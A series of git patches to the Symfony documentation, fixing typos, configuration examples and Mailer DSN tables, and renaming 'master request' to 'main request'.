 1 file changed, 3 insertions(+)

diff --git a/doctrine.rst b/doctrine.rst
index e1ee1785c00..9d98f26b7ca 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -54,6 +54,9 @@ The database connection information is stored as an environment variable called
 
     # to use postgresql:
     # DATABASE_URL="postgresql://db_user:db_password@127.0.0.1:5432/db_name?serverVersion=11&charset=utf8"
+    
+    # to use oracle:
+    # DATABASE_URL="oci8://db_user:db_password@127.0.0.1:1521/db_name"
 
 .. caution::
 

From b3f014dff10f9331102fa1cb6fe56c000fff32b9 Mon Sep 17 00:00:00 2001
From: rodmar35 <rodolphe.marsollier@gmail.com>
Date: Thu, 18 Mar 2021 09:56:35 +0100
Subject: [PATCH 1963/7107] Update reverse_engineering.rst

---
 doctrine/reverse_engineering.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/doctrine/reverse_engineering.rst b/doctrine/reverse_engineering.rst
index 087e41db955..320e424ea0a 100644
--- a/doctrine/reverse_engineering.rst
+++ b/doctrine/reverse_engineering.rst
@@ -99,9 +99,12 @@ run:
 
 .. code-block:: terminal
 
-    // generates getter/setter methods
+    // generates getter/setter methods for all Entities
     $ php bin/console make:entity --regenerate App
 
+    // generates getter/setter methods for one specific Entity
+    $ php bin/console make:entity --regenerate App\\Entity\\Country
+
 .. note::
 
     If you want to have a OneToMany relationship, you will need to add

From 019a8c82fa800777a7ea85dafe26cfccfdd9d9a7 Mon Sep 17 00:00:00 2001
From: cedric lombardot <cedric.lombardot@gmail.com>
Date: Sat, 20 Mar 2021 11:42:29 +0100
Subject: [PATCH 1964/7107] Fix yaml syntax

---
 deployment/proxies.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index a51aa1c8889..49aa04c8361 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -125,8 +125,8 @@ In this case, you'll need to - *very carefully* - trust *all* proxies.
         # config/packages/framework.yaml
         framework:
             # ...
-            // trust *all* requests (the 'REMOTE_ADDR' string is replaced at
-            // run time by $_SERVER['REMOTE_ADDR'])
+            # trust *all* requests (the 'REMOTE_ADDR' string is replaced at
+            # run time by $_SERVER['REMOTE_ADDR'])
             trusted_proxies: '127.0.0.1,REMOTE_ADDR'
 
 That's it! It's critical that you prevent traffic from all non-trusted sources.

From 6e3a415ad1d256e630aa34c5a2507f9f46f793b2 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Sat, 20 Mar 2021 19:07:46 +0100
Subject: [PATCH 1965/7107] Update bc.rst

---
 contributing/code/bc.rst | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index 15f1f03674d..371c1a35b95 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -4,10 +4,13 @@ Our Backward Compatibility Promise
 Ensuring smooth upgrades of your projects is our first priority. That's why
 we promise you backward compatibility (BC) for all minor Symfony releases.
 You probably recognize this strategy as `Semantic Versioning`_. In short,
-Semantic Versioning means that only major releases (such as 2.0, 3.0 etc.) are
-allowed to break backward compatibility. Minor releases (such as 2.5, 2.6 etc.)
+Semantic Versioning means that only major releases (such as 5.0, 6.0 etc.) are
+allowed to break backward compatibility. Minor releases (such as 5.1, 5.2 etc.)
 may introduce new features, but must do so without breaking the existing API of
-that release branch (2.x in the previous example).
+that release branch (5.x in the previous example).
+
+We also provide deprecation message triggered in the code base to help you with
+the migration process across major release.
 
 .. caution::
 

From 0e04632a01caee166f8dff10d5de2101e851627b Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Sat, 20 Mar 2021 16:51:09 -0400
Subject: [PATCH 1966/7107] Remove extra slash in template path

---
 configuration/override_dir_structure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index e0bd417886d..ece722f6f27 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -109,7 +109,7 @@ for multiple directories):
         # config/packages/twig.yaml
         twig:
             # ...
-            default_path: "%kernel.project_dir%//resources/views"
+            default_path: "%kernel.project_dir%/resources/views"
 
     .. code-block:: xml
 

From 7bbfe94d3a8a6e1d7743491fd7dd3fa97b04b979 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jan=20Sch=C3=A4dlich?=
 <1880467+jschaedl@users.noreply.github.com>
Date: Sun, 21 Mar 2021 14:09:17 +0100
Subject: [PATCH 1967/7107] Remove SentMessage paragraph

The Notifier's `send` method does not return a `SentMessage` object: https://github.com/symfony/symfony/blob/5.2/src/Symfony/Component/Notifier/NotifierInterface.php#L26

Only the Chatter and Texter classes `send` methods returns a `SendMessage`.
---
 notifier.rst | 10 +---------
 1 file changed, 1 insertion(+), 9 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index d328084c0b8..0c8309aec71 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -380,7 +380,7 @@ To send a notification, autowire the
             );
 
             // Send the notification to the recipient
-            $sentMessage = $notifier->send($notification, $recipient);
+            $notifier->send($notification, $recipient);
 
             // ...
         }
@@ -391,14 +391,6 @@ channels. The channels specify which channel (or transport) should be used
 to send the notification. For instance, ``['email', 'sms']`` will send
 both an email and sms notification to the user.
 
-The ``send()`` method used to send the notification returns a variable of type
-:class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides
-information such as the message ID and the original message contents.
-
-.. versionadded:: 5.2
-
-    The ``SentMessage`` class was introduced in Symfony 5.2.
-
 The default notification also has a ``content()`` and ``emoji()`` method to
 set the notification content and icon.
 

From 7803935f38f770401db5a477d8accdac20f83809 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Sun, 21 Mar 2021 22:57:06 +0100
Subject: [PATCH 1968/7107] [Intl] Remove duplicated parentheses

---
 components/intl.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/intl.rst b/components/intl.rst
index dafe45800d0..dae70440cf5 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -381,8 +381,8 @@ arguments to get the offset at any given point in time::
 The string representation of the GMT offset can vary depending on the locale, so
 you can pass the locale as the third optional argument::
 
-    $offset = Timezones::getGmtOffset('Europe/Madrid', strtotime('October 28, 2019'), 'ar')); // $offset = 'غرينتش+01:00'
-    $offset = Timezones::getGmtOffset('Europe/Madrid', strtotime('October 28, 2019'), 'dz')); // $offset = 'ཇི་ཨེམ་ཏི་+01:00'
+    $offset = Timezones::getGmtOffset('Europe/Madrid', strtotime('October 28, 2019'), 'ar'); // $offset = 'غرينتش+01:00'
+    $offset = Timezones::getGmtOffset('Europe/Madrid', strtotime('October 28, 2019'), 'dz'); // $offset = 'ཇི་ཨེམ་ཏི་+01:00'
 
 If the given timezone ID doesn't exist, the methods trigger a
 :class:`Symfony\\Component\\Intl\\Exception\\MissingResourceException`. In addition

From e28f5a1172ed0f520b9d218b81a956b6f6a2a790 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Sun, 21 Mar 2021 23:01:14 +0100
Subject: [PATCH 1969/7107] [Filesystem] Fix typo

---
 components/filesystem.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index c0cad3dc9b9..4b09bc4cd7e 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -162,7 +162,7 @@ permissions of a file. The fourth argument is a boolean recursive option::
 
     // sets the mode of the video to 0600
     $filesystem->chmod('video.ogg', 0600);
-    // changes the mod of the src directory recursively
+    // changes the mode of the src directory recursively
     $filesystem->chmod('src', 0700, 0000, true);
 
 .. note::

From bc8997112a103b12493c4869c5f6592c85ca8367 Mon Sep 17 00:00:00 2001
From: Farhad Safarov <farhad.safarov@gmail.com>
Date: Tue, 23 Mar 2021 10:07:30 +0300
Subject: [PATCH 1970/7107] [Mailer] fix ses+smtp credentials format

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index e7ca76dbb7f..42ec190574a 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -146,7 +146,7 @@ party provider:
 ==================== ========================================== =========================================== ========================================
  Provider             SMTP                                       HTTP                                        API
 ==================== ========================================== =========================================== ========================================
- Amazon SES           ses+smtp://ACCESS_KEY:SECRET_KEY@default   ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
+ Amazon SES           ses+smtp://USERNAME:PASSWORD@default       ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
  Google Gmail         gmail+smtp://USERNAME:PASSWORD@default     n/a                                         n/a
  Mailchimp Mandrill   mandrill+smtp://USERNAME:PASSWORD@default  mandrill+https://KEY@default                mandrill+api://KEY@default
  Mailgun              mailgun+smtp://USERNAME:PASSWORD@default   mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default

From e1ca15247611f9dfa2b88c4f00ab2a2cb41c8b80 Mon Sep 17 00:00:00 2001
From: Al-Saleh KEITA <28827545+askeita@users.noreply.github.com>
Date: Mon, 22 Mar 2021 13:57:04 +0100
Subject: [PATCH 1971/7107] Typo with backticks.

Removed extra backticks.
---
 http_cache/validation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache/validation.rst b/http_cache/validation.rst
index 3a1dabf902e..599d0883b52 100644
--- a/http_cache/validation.rst
+++ b/http_cache/validation.rst
@@ -106,7 +106,7 @@ doing so much work.
 
 .. tip::
 
-    Symfony also supports weak ``ETag``s by passing ``true`` as the second
+    Symfony also supports weak ``ETag`` s by passing ``true`` as the second
     argument to the
     :method:`Symfony\\Component\\HttpFoundation\\Response::setEtag` method.
 

From 40bdc02b644f722430b6178ab1c0315cf4edf9fb Mon Sep 17 00:00:00 2001
From: Ilya Antipenko <ilya@antipenko.pp.ua>
Date: Tue, 23 Mar 2021 18:19:11 +0100
Subject: [PATCH 1972/7107] Fix markdown in multiple_entity_managers.rst

---
 doctrine/multiple_entity_managers.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index ba3475dbfbc..57b2879f868 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -313,6 +313,6 @@ The same applies to repository calls::
             // ...
         }
 
-	You should now always fetch this repository using ``ManagerRegistry::getRepository()``.
+You should now always fetch this repository using ``ManagerRegistry::getRepository()``.
 
 .. _`several alternatives`: https://stackoverflow.com/a/11494543

From 85c9813c7adb18bba646492b792e54bb9fc94427 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 24 Mar 2021 11:34:54 +0100
Subject: [PATCH 1973/7107] Minor tweak

---
 doctrine/multiple_entity_managers.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 57b2879f868..32e5a979cdb 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -313,6 +313,6 @@ The same applies to repository calls::
             // ...
         }
 
-You should now always fetch this repository using ``ManagerRegistry::getRepository()``.
+    You should now always fetch this repository using ``ManagerRegistry::getRepository()``.
 
 .. _`several alternatives`: https://stackoverflow.com/a/11494543

From 3938dbdc9b63f80d9900396f903e1f8d8b446fc4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Adam=20W=C3=B3js?= <adam@wojs.pl>
Date: Mon, 22 Mar 2021 10:22:09 +0100
Subject: [PATCH 1974/7107] Fixed invalid alias definition in "Deprecating
 Service Aliases" YAML example

Fixed invalid alias definition in "Deprecating Service Aliases" YAML example. Current version is

```yaml
app.mailer:
    alias: '@App\Mail\PhpMailer'

    # ....
```
Correct version is

```yaml
app.mailer:
    alias: 'App\Mail\PhpMailer'

    # ....
```

(without `@` prefix in service id)
---
 service_container/alias_private.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst
index bac0b8fdc5f..f202ce8d277 100644
--- a/service_container/alias_private.rst
+++ b/service_container/alias_private.rst
@@ -166,7 +166,7 @@ or you decided not to maintain it anymore), you can deprecate its definition:
     .. code-block:: yaml
 
         app.mailer:
-            alias: '@App\Mail\PhpMailer'
+            alias: 'App\Mail\PhpMailer'
 
             # this will display a generic deprecation message...
             deprecated: true

From 53fab68e61f0eccc1a0d51b74d4ee97ddbbf6cfb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 24 Mar 2021 12:27:28 +0100
Subject: [PATCH 1975/7107] Tweak

---
 workflow.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index fa489c63cf7..74d986ed868 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -238,8 +238,8 @@ Accessing the Workflow in a Class
 
 You can use the workflow inside a class by using
 :doc:`service autowiring </service_container/autowiring>` and using
-``camelCased workflow name + Workflow`` as parameter name. If it is a state machine type
-you can use ``camelCased workflow name + StateMachine``::
+``camelCased workflow name + Workflow`` as parameter name. If it is a state
+machine type, use ``camelCased workflow name + StateMachine``::
 
     use App\Entity\BlogPost;
     use Symfony\Component\Workflow\WorkflowInterface;

From 485637c22d154f26a2ad3d3f5605e5e244c9ec64 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 24 Mar 2021 12:31:06 +0100
Subject: [PATCH 1976/7107] Minor tweak

---
 mailer.rst | 16 ++--------------
 1 file changed, 2 insertions(+), 14 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index cda5c1fb646..b632449c4b5 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -155,11 +155,10 @@ transport, but you can force to use one:
 This table shows the full list of available DSN formats for each third
 party provider:
 
-<<<<<<< HEAD
 ==================== ==================================================== =========================================== ========================================
  Provider             SMTP                                                 HTTP                                        API
 ==================== ==================================================== =========================================== ========================================
- Amazon SES           ses+smtp://ACCESS_KEY:SECRET_KEY@default             ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
+ Amazon SES           ses+smtp://USERNAME:PASSWORD@default                 ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
  Google Gmail         gmail+smtp://USERNAME:PASSWORD@default               n/a                                         n/a
  Mailchimp Mandrill   mandrill+smtp://USERNAME:PASSWORD@default            mandrill+https://KEY@default                mandrill+api://KEY@default
  Mailgun              mailgun+smtp://USERNAME:PASSWORD@default             mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
@@ -168,18 +167,7 @@ party provider:
  Sendgrid             sendgrid+smtp://KEY@default                          n/a                                         sendgrid+api://KEY@default
  Sendinblue           sendinblue+smtp://USERNAME:PASSWORD@default          n/a                                         sendinblue+api://KEY@default
 ==================== ==================================================== =========================================== ========================================
-=======
-==================== ========================================== =========================================== ========================================
- Provider             SMTP                                       HTTP                                        API
-==================== ========================================== =========================================== ========================================
- Amazon SES           ses+smtp://USERNAME:PASSWORD@default       ses+https://ACCESS_KEY:SECRET_KEY@default   ses+api://ACCESS_KEY:SECRET_KEY@default
- Google Gmail         gmail+smtp://USERNAME:PASSWORD@default     n/a                                         n/a
- Mailchimp Mandrill   mandrill+smtp://USERNAME:PASSWORD@default  mandrill+https://KEY@default                mandrill+api://KEY@default
- Mailgun              mailgun+smtp://USERNAME:PASSWORD@default   mailgun+https://KEY:DOMAIN@default          mailgun+api://KEY:DOMAIN@default
- Postmark             postmark+smtp://ID@default                 n/a                                         postmark+api://KEY@default
- Sendgrid             sendgrid+smtp://KEY@default                n/a                                         sendgrid+api://KEY@default
-==================== ========================================== =========================================== ========================================
->>>>>>> 4.4
+
 
 .. caution::
 

From 8aaf4776218a914da649cff13f4ffc712e445236 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 24 Mar 2021 12:31:15 +0100
Subject: [PATCH 1977/7107] Revert minor tweak

---
 mailer.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index b632449c4b5..721e2144654 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -168,7 +168,6 @@ party provider:
  Sendinblue           sendinblue+smtp://USERNAME:PASSWORD@default          n/a                                         sendinblue+api://KEY@default
 ==================== ==================================================== =========================================== ========================================
 
-
 .. caution::
 
     If your credentials contain special characters, you must URL-encode them.

From f749e254733b9ccfbe342646fad1d38b5e196ada Mon Sep 17 00:00:00 2001
From: KalleV <kvirtaneva@gmail.com>
Date: Thu, 25 Mar 2021 11:59:45 -0400
Subject: [PATCH 1978/7107] docs(http-client): fix default retry_failed
 configuration example

The framework bundle configuration validation requires the top-level http client retry_failed configuration to be nested under default_options or scoped_clients.

See: https://github.com/symfony/framework-bundle/blob/1f977bb1b790f915b22462e511b039fb761280b3/DependencyInjection/Configuration.php#L1414
---
 reference/configuration/framework.rst | 23 ++++++++++++-----------
 1 file changed, 12 insertions(+), 11 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 6458d77328a..5ea8a8cee0a 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -831,17 +831,18 @@ will automatically retry failed HTTP requests.
         # ...
         http_client:
             # ...
-            retry_failed:
-                # retry_strategy: app.custom_strategy
-                http_codes:
-                    0: ['GET', 'HEAD']   # retry network errors if request method is GET or HEAD
-                    429: true            # retry all responses with 429 status code
-                    500: ['GET', 'HEAD']
-                max_retries: 2
-                delay: 1000
-                multiplier: 3
-                max_delay: 5000
-                jitter: 0.3
+            default_options:
+                retry_failed:
+                    # retry_strategy: app.custom_strategy
+                    http_codes:
+                        0: ['GET', 'HEAD']   # retry network errors if request method is GET or HEAD
+                        429: true            # retry all responses with 429 status code
+                        500: ['GET', 'HEAD']
+                    max_retries: 2
+                    delay: 1000
+                    multiplier: 3
+                    max_delay: 5000
+                    jitter: 0.3
 
             scoped_clients:
                 my_api.client:

From 1cc3689e8a8e896e4959807302b8f6f28911c61a Mon Sep 17 00:00:00 2001
From: Ivan Gantsev <ivangancev@yandex.ru>
Date: Fri, 26 Mar 2021 10:57:52 +0300
Subject: [PATCH 1979/7107] Update rate_limiter.rst

Inject HttpFoundation $request in action of controller
---
 rate_limiter.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 6982f88cae4..22e78fa6c39 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -167,6 +167,7 @@ the number of requests to the API::
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpKernel\Exception\TooManyRequestsHttpException;
     use Symfony\Component\RateLimiter\RateLimiterFactory;
 
@@ -174,7 +175,7 @@ the number of requests to the API::
     {
         // if you're using service autowiring, the variable name must be:
         // "rate limiter name" (in camelCase) + "Limiter" suffix
-        public function index(RateLimiterFactory $anonymousApiLimiter)
+        public function index(Request $request, RateLimiterFactory $anonymousApiLimiter)
         {
             // create a limiter based on a unique identifier of the client
             // (e.g. the client's IP address, a username/email, an API key, etc.)
@@ -272,12 +273,13 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\RateLimiter\RateLimiterFactory;
 
     class ApiController extends AbstractController
     {
-        public function index(RateLimiterFactory $anonymousApiLimiter)
+        public function index(Request $request, RateLimiterFactory $anonymousApiLimiter)
         {
             $limiter = $anonymousApiLimiter->create($request->getClientIp());
             $limit = $limiter->consume();

From c4dd584759b514f9158c115e8da988285d910406 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 26 Mar 2021 09:10:21 +0100
Subject: [PATCH 1980/7107] [#15074] fix typo

---
 security/voters.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/voters.rst b/security/voters.rst
index 869df508d50..c8daae7ba38 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -279,7 +279,7 @@ There are three strategies available:
 
 ``consensus``
     This grants access if there are more voters granting access than
-    denying. If case of a tie the decision is based on the
+    denying. In case of a tie the decision is based on the
     ``allow_if_equal_granted_denied`` config option (defaulting to ``true``);
 
 ``unanimous``

From cf8f937743d5f9afaaae7911796d90e68adb3e66 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sun, 5 Apr 2020 04:19:52 +0200
Subject: [PATCH 1981/7107] [Validator] Added grouped constraints in
 `Collection` reference

---
 reference/constraints/Collection.rst | 34 ++++++++++++++++++++++++++++
 validation/raw_values.rst            |  7 ++++++
 2 files changed, 41 insertions(+)

diff --git a/reference/constraints/Collection.rst b/reference/constraints/Collection.rst
index 2f3dfd52035..c60679aa90b 100644
--- a/reference/constraints/Collection.rst
+++ b/reference/constraints/Collection.rst
@@ -289,6 +289,40 @@ However, if the ``personal_email`` field does not exist in the array,
 the ``NotBlank`` constraint will still be applied (since it is wrapped in
 ``Required``) and you will receive a constraint violation.
 
+When you define groups in nested constraints they are automatically added to
+the ``Collection`` constraint itself so it can be traversed for all nested
+groups. Take the following example::
+
+    use Symfony\Component\Validator\Constraints as Assert;
+
+    $constraint = new Assert\Collection([
+        'fields' => [
+            'name' => new Assert\NotBlank(['groups' => 'basic']),
+            'email' => new Assert\NotBlank(['groups' => 'contact']),
+        ],
+    ]);
+
+This will result in the following configuration::
+
+    $constraint = new Assert\Collection([
+        'fields' => [
+            'name' => new Assert\Required([
+                'constraints' => new Assert\NotBlank(['groups' => 'basic']),
+                'groups' => ['basic', 'strict'],
+            ]),
+            'email' => new Assert\Required([
+                "constraints" => new Assert\NotBlank(['groups' => 'contact']),
+                'groups' => ['basic', 'strict'],
+            ]),
+        ],
+        'groups' => ['basic', 'strict'],
+    ]);
+
+The default ``allowMissingFields`` option requires the fields in all groups.
+So when validating in ``contact`` group, ``$name`` can be empty but the key is
+still required. If this is not the intended behavior, use the ``Optional``
+constraint explicitly instead of ``Required``.
+
 Options
 -------
 
diff --git a/validation/raw_values.rst b/validation/raw_values.rst
index 8cee65108b8..2014d37644b 100644
--- a/validation/raw_values.rst
+++ b/validation/raw_values.rst
@@ -105,3 +105,10 @@ The ``validate()`` method returns a :class:`Symfony\\Component\\Validator\\Const
 object, which acts like an array of errors. Each error in the collection
 is a :class:`Symfony\\Component\\Validator\\ConstraintViolation` object,
 which holds the error message on its ``getMessage()`` method.
+
+.. note::
+
+    When using groups with the
+    :doc:`Collection</reference/constraints/Collection>` constraint, be sure to
+    use the ``Optional`` constraint when appropriate as explained in its
+    reference documentation.

From 64eb995d1df235b7d048bea89e4d522f0f9a7e57 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 26 Mar 2021 13:23:18 +0100
Subject: [PATCH 1982/7107] [#13492] satisfy the linter

---
 validation/raw_values.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation/raw_values.rst b/validation/raw_values.rst
index 2014d37644b..9699e5353cc 100644
--- a/validation/raw_values.rst
+++ b/validation/raw_values.rst
@@ -109,6 +109,6 @@ which holds the error message on its ``getMessage()`` method.
 .. note::
 
     When using groups with the
-    :doc:`Collection</reference/constraints/Collection>` constraint, be sure to
+    :doc:`Collection </reference/constraints/Collection>` constraint, be sure to
     use the ``Optional`` constraint when appropriate as explained in its
     reference documentation.

From 20436fc6026621885009e6b951e14b9b43027e9d Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 26 Mar 2021 14:07:27 +0100
Subject: [PATCH 1983/7107] rename master request to main request

---
 components/http_kernel.rst                           | 12 ++++++------
 create_framework/http_kernel_httpkernelinterface.rst |  4 ++--
 event_dispatcher.rst                                 |  8 ++++----
 http_cache.rst                                       |  2 +-
 http_cache/esi.rst                                   |  2 +-
 reference/configuration/framework.rst                |  8 ++++----
 reference/events.rst                                 |  6 +++---
 security/form_login_setup.rst                        |  2 +-
 session.rst                                          |  2 +-
 9 files changed, 23 insertions(+), 23 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index c0da0fd6cfa..4dcf0ff6aa3 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -65,7 +65,7 @@ that system::
          */
         public function handle(
             Request $request,
-            int $type = self::MASTER_REQUEST,
+            int $type = self::MAIN_REQUEST,
             bool $catch = true
         );
     }
@@ -701,12 +701,12 @@ argument as follows::
 
 This creates another full request-response cycle where this new ``Request`` is
 transformed into a ``Response``. The only difference internally is that some
-listeners (e.g. security) may only act upon the master request. Each listener
+listeners (e.g. security) may only act upon the main request. Each listener
 is passed some sub-class of :class:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent`,
-whose :method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::isMasterRequest`
-can be used to check if the current request is a "master" or "sub" request.
+whose :method:`Symfony\\Component\\HttpKernel\\Event\\KernelEvent::isMainRequest`
+can be used to check if the current request is a "main" or "sub" request.
 
-For example, a listener that only needs to act on the master request may
+For example, a listener that only needs to act on the main request may
 look like this::
 
     use Symfony\Component\HttpKernel\Event\RequestEvent;
@@ -714,7 +714,7 @@ look like this::
 
     public function onKernelRequest(RequestEvent $event)
     {
-        if (!$event->isMasterRequest()) {
+        if (!$event->isMainRequest()) {
             return;
         }
 
diff --git a/create_framework/http_kernel_httpkernelinterface.rst b/create_framework/http_kernel_httpkernelinterface.rst
index a5c46c8daaa..29ddcc9c124 100644
--- a/create_framework/http_kernel_httpkernelinterface.rst
+++ b/create_framework/http_kernel_httpkernelinterface.rst
@@ -16,7 +16,7 @@ goal by making our framework implement ``HttpKernelInterface``::
          */
         public function handle(
             Request $request,
-            $type = self::MASTER_REQUEST,
+            $type = self::MAIN_REQUEST,
             $catch = true
         );
     }
@@ -39,7 +39,7 @@ Update your framework so that it implements this interface::
 
         public function handle(
             Request $request,
-            $type = HttpKernelInterface::MASTER_REQUEST,
+            $type = HttpKernelInterface::MAIN_REQUEST,
             $catch = true
         ) {
             // ...
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 038a405b10b..450f23cf698 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -206,10 +206,10 @@ the ``EventSubscriber`` directory. Symfony takes care of the rest.
 Request Events, Checking Types
 ------------------------------
 
-A single page can make several requests (one master request, and then multiple
+A single page can make several requests (one main request, and then multiple
 sub-requests - typically when :ref:`embedding controllers in templates <templates-embed-controllers>`).
 For the core Symfony events, you might need to check to see if the event is for
-a "master" request or a "sub request"::
+a "main" request or a "sub request"::
 
     // src/EventListener/RequestListener.php
     namespace App\EventListener;
@@ -220,8 +220,8 @@ a "master" request or a "sub request"::
     {
         public function onKernelRequest(RequestEvent $event)
         {
-            if (!$event->isMasterRequest()) {
-                // don't do anything if it's not the master request
+            if (!$event->isMainRequest()) {
+                // don't do anything if it's not the main request
                 return;
             }
 
diff --git a/http_cache.rst b/http_cache.rst
index 9a9c7e414d3..35620d1cd76 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -155,7 +155,7 @@ header to the response. You can also use the ``trace_level`` config
 option and set it to either ``none``, ``short`` or ``full`` to
 add this information.
 
-``short`` will add the information for the master request only.
+``short`` will add the information for the main request only.
 It's written in a concise way that makes it easy to record the
 information in your server log files. For example, in Apache you can
 use ``%{X-Symfony-Cache}o`` in ``LogFormat`` format statements.
diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index b23b19eda36..6108df41f49 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -161,7 +161,7 @@ used ``render()``.
     contains the ``ESI/1.0`` string anywhere.
 
 The embedded action can now specify its own caching rules entirely independently
-of the master page::
+of the main page::
 
     // src/Controller/NewsController.php
     namespace App\Controller;
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 9e03d3d05bd..15180619b77 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -197,7 +197,7 @@ Configuration
   * :ref:`dsn <profiler-dsn>`
   * :ref:`enabled <reference-profiler-enabled>`
   * `only_exceptions`_
-  * `only_master_requests`_
+  * `only_main_requests`_
 
 * `property_access`_
 
@@ -1244,12 +1244,12 @@ only_exceptions
 When this is set to ``true``, the profiler will only be enabled when an
 exception is thrown during the handling of the request.
 
-only_master_requests
-....................
+only_main_requests
+..................
 
 **type**: ``boolean`` **default**: ``false``
 
-When this is set to ``true``, the profiler will only be enabled on the master
+When this is set to ``true``, the profiler will only be enabled on the main
 requests (and not on the subrequests).
 
 .. _profiler-dsn:
diff --git a/reference/events.rst b/reference/events.rst
index c55bfdcc824..75694ab1097 100644
--- a/reference/events.rst
+++ b/reference/events.rst
@@ -15,7 +15,7 @@ Each event dispatched by the HttpKernel component is a subclass of
 following information:
 
